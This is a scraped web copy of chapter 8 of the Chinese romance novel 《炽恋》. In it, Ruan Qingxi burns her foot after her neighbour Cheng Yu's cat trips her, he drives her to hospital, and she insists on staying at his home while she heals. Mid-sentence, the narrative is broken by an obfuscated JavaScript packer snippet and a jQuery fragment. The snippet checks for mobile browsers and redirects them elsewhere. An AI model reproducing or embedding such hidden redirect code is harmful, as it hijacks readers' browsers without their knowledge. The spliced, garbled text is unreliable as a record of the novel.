8. 沦陷前8

作品:《炽恋

    不过阮清溪真是被伤了,一个人关了工作室的门回出租房后。


    随便冲了个澡,倒头就睡了。


    一觉到天亮,已经快10点,还好今天不用去学校。


    翻个身,揉揉有些肿的眼皮起床。


    手机有闺蜜白晓晓的电话,还有小胖子退给她的红包钱。


    阮清溪看一眼红包,没动。


    直接划到白晓晓的电话,按了免提回拨过去,“今天不是放假吗?打我电话什么事?”


    “还能能有什么事?约你吃饭。”白晓晓翘着双腿搁在自家沙发上,玩着自己的头发:“来我家吃饭吗?”


    “不了,有点不舒服。”的确不舒服。


    昨天哭得眼睛都肿了。


    而且心情糟糕透了,哪有情绪去她家吃饭?


    “怎么了?哪里不舒服?”白晓晓直起身体,一脸关切:“没事吧?”


    “是不是程俞又给你气受了?”


    果然是闺蜜。


    简直是她心坎上的小蚂蚁,门儿清。


    “没什么,今天的确没心情,改天吧,我先洗脸,睡太晚了。”阮清溪含糊地敷衍了几句,先挂了电话。


    随即捧起水池内的水。


    往自己脸上连泼好几下。


    直到泼得脸冰冰凉凉。


    她才又清醒了一些。


    抽下毛巾擦擦脸,看一下时间,真有点晚了。


    而且肚子有点饿。


    阮清溪抓抓长发,先去卧室拿卷发棒,一边卷着头发一边拎起昨晚没倒的垃圾袋。


    遥想在家的时候。


    她一个大小姐何曾需要自己倒垃圾?


    要是被她爸爸看到,肯定要心疼。


    好好的被人捧着不要。


    非要来受气。


    阮清溪忍不住想骂自己没出息,自作孽。


    不过转念想想,这几天受气那么多,连程俞一根手指都没摸到。


    实在太亏也太憋屈了。


    不管了,她这次非要追到手。


    到时候要他哄自己几百遍,这样可以出口恶气。


    就这么决定了。


    阮清溪扯扯卷发棒,卷着头发,快步走到门口,打开门。


    光着脚就走出来。


    准备把垃圾袋放到门口,等会带下去扔了。


    ‘吱’一声。


    对门突然也开门了。


    阮清溪侧过脸看过去,只听到‘喵呜’一声,一只漂亮的布偶从程俞屋里偷跑出来,蹭蹭蹭地就冲到阮清溪脚边。


    阮清溪一吓,想给这猫让道。


    但布偶冲得太快,直接撞到她脚边,阮清溪脚踝一疼,往后退的时候,崴了。


    ‘扑通’重重摔在地上,手里滚烫的卷发棒落在她脚面。


    高温熨烫下来。


    皮开肉绽一样。


    疼的阮清溪直接叫了起来。


    她一叫,布偶吓到了,喵呜喵呜跑到另一边。


    当然她摔的很惨的模样被走出门的程俞全部目睹。


    他刚刚也是准备扔垃圾,谁知道一开门,布偶撒欢不听话,直接跑出来了。


    他追出来的时候,就看到它撞到了阮清溪。


    “好疼……烫死我了……”阮清溪边喊疼边踢掉那支卷发棒。


    程俞走过来,沉着眸看着她,总算还说了句人话:“没事吧?”


    阮清溪疼的要命,她皮肤娇嫩,哪里被这么烫的卷发棒烫过?白白的脚面已经红了一大片。


    漂亮的眼睛红彤彤蓄着水,不管不顾抬起脚说:“你说有没有事?烫伤了!”


    “能站起来吗?我送你去医院。”程俞蹲下身看了一眼她的脚面。


    的确烫红了,而且肌肤水泡烫开了,有殷红的血丝。


    “站不起来,你拉我。”阮清溪本就因为昨晚的事鬼火呢,现在又被他的猫弄得这么惨。


    她不可能就这么算了。


    “今天这事,你得负责。”


    程俞没说话,但也没想不负责,“我先送你去医院。”


    “好。”阮清溪正愁没办法讹他。


    这个事,她刚好能讹他。


    程俞低低眸,沉默一下,伸手扶住她的腰,将她扶起来。


    他长得高又干净。


    阮清溪以往去撩他,都没办法这么近挨着他,昨晚她抱了一下,没怎么有感觉,今天大白天如此近的挨着。


    他身上肥皂水的香味都飘来了。


    淡淡的,清香。


    一点都没那种男人的臭汗味道。


    也没有那种装X精致男的香水味。


    这么干净的味道,真好闻。


    阮清溪擦擦眼泪,红着眼眶,忍不住还朝他怀里蹭了一下:“你用什么洗衣液?好香。”


    程俞:……


    都这样了,还有功夫问他洗衣液?


    “你有力气了?”


    阮清溪抽抽鼻子,委屈晃一下疼的脚:“怎么?我是烫伤了脚,又不是烫伤了嘴巴,为什么没力气?”


    程俞:……


    “我先扶你去你那边,我回去拿点东西。”程俞扶她进她自己租的房子。


    阮清溪哦一声,靠在他怀里,乖乖被他送到沙发。


    坐下来。


    程俞就先出去了。


    布偶看到他回家,不敢撒欢了,喵喵喵叫着跟他一起进屋子。


    程俞看到它,抬手轻轻敲了它脑门两下:“下回别乱跑,刚才是不是撞伤了人?”


    布偶也不是故意,委屈地垂下脑袋喵喵喵示软。


    程俞不训它了,拿上钱包和钥匙去阮清溪那屋。


    进来,就看到她眼尾带着红,弯着腰在检查自己脚面的伤口。


    脸还时不时因为疼扭曲了。


    程俞看一眼,走过来:“你这边有没有冰块?敷一下?”


    说话的态度跟昨晚又不一样。


    可能是看她受伤了。


    态度没那么冷冰冰,能正常一回。


    “不知道,我刚搬来,很多东西没有买。”阮清溪抬起脸,眼神楚楚可怜:“你帮我找找。”


    程俞一看她这眼神,还真去帮她找了。


    然而一打开冰箱,空的跟新冰箱一样,连瓶水都没有。


    “我回去拿一点。”程俞合上冰箱门。


    阮清溪怕等不了,耽搁太久,皮肤会溃烂。


    烫伤最危险,容易感染的。


    “别去了,送我去医院吧。”阮清溪说:“我怕耽误时间,感染。”


    程俞:“路上不冰敷一下,更容易感染。”


    说完,先回去拿冰块。


    这回,他比刚才快,似乎真怕她脚面感染了。


    而且冰块还包裹在了保鲜膜内。


    “你先冰敷一下,我叫车。”程俞将冰块丢给她,准备网上叫车。


    阮清溪赶紧摸出自己的车钥匙,晃晃:“别叫车了,我有车,你会开车吧?”


    程俞会,只是现在很少开。


    放下手机,拿过她的车钥匙。


    低眸扫一眼,法拉利58。


    “快扶我去医院。”阮清溪看他。


    程俞回头,弯腰将她扶起来。


    再出门,两人没说什么,直到地下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634088|143693||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    车库。


    将人安顿到车上。


    阮清溪系好安全带,忍不住说:“是不是只有我受伤了,你才能对我正常点?”


    程俞不想回答这种问题,按了启动键,踩着油门开出去。


    到了外面宽敞的马路。


    阮清溪侧过脸,想报仇了,抬手不规矩地直接摸到他长腿上。


    程俞人高腿长。


    而且腿部肌肉线条极好。


    阮清溪手心一下有点冒火,没想到程俞看着不像经常运动。


    但是触感就好像常年健身的那种质地。


    坚实。


    “要不要和我交往?”


    “跟了我,也别去夜店打碟了,我一个月都能给你十万零花钱。”


    “学人包养,找错人了。”程俞脸色幽幽冷下来,腾出右手,将她的手推开:“要是检查没什么问题,赔了医药费,这事就这样。”


    阮清溪不干,继续伸手摸住他的长腿,昨晚她受气了。


    今天必须拿点补偿。


    “不行,不能就这么算了,我精神损失你得赔偿。”


    “你家猫突然跑出来,吓坏我了。”


    程俞:……


    忍忍,继续推开她软乎乎的手。


    “要多少钱?”


    提钱?


    多看不起她呀?


    “你看我像缺钱的人?我要别的,不然我睡你那边,赖上你。”


    程俞没辙了,果然女人都是麻烦的生物。


    “等去医院检查了再说。”


    阮清溪没意见,反正她脚面烫得那么红,皮都破开了,周边还有水泡。


    就算拿点药膏涂涂就完事。


    后续的精神损失,她还是要他算。


    比如,在脚伤痊愈之前,她就住他那边,让他照顾好了。


    “好,到时候别赖账。”阮清溪收回手,靠在副驾驶不说话了。


    程俞余光里捕捉了她的被光线笼得有些朦胧的侧脸,又拉回来视线,单手扶着方向盘加速去医院。


    *


    小面积烫伤虽然不是大事,但也不能忽视。


    这话,阮清溪正愁没办法告诉程俞。


    烧伤科医生倒是先叮嘱起来。


    阮清溪低着脑袋看医生给她消毒,伤烫伤药膏,“别沾水,每天勤涂药膏。”


    “这几天忌口。”


    阮清溪扶着膝盖,看向站在一旁的男人,故意说:“医生,我这几天是不是最好不动?”


    医生当然是希望每个病人能好好休息就好好休息,最好是养着别乱动。


    别沾水。


    “这脚面烫得有些厉害,这几天别穿鞋,就光着脚养养,等破皮的地方愈合了,再穿鞋。”


    阮清溪哦一声,故意朝着程俞说:“程俞,听到没?我这几天不能动,住你家了。”


    “男女授受不亲。”程俞不想让她住过来。


    免得牵涉不清。


    阮清溪唇角扯扯,两只手撑在座椅边缘,一脸地认真又‘气焰嚣张’,摆明了是要赖上他:“想不负责任呀?你没听医生说,我不能动吗?”


    “我帮你找个阿姨照顾几天?”程俞倒不是不想负责,只是没想她搬过来。


    阮清溪摇摇头:“我不要,就这么说定了,我住你家,你照顾我。”


    “医生,好了吗?”


    医生点头,收起脏的纱布,公事公办说:“行了,让你男朋友去结账拿药。”


    “好,谢谢医生。”阮清溪就爱听这句话,马上笑了。


    程俞那边已经无话可说。


    他算是被赖上了。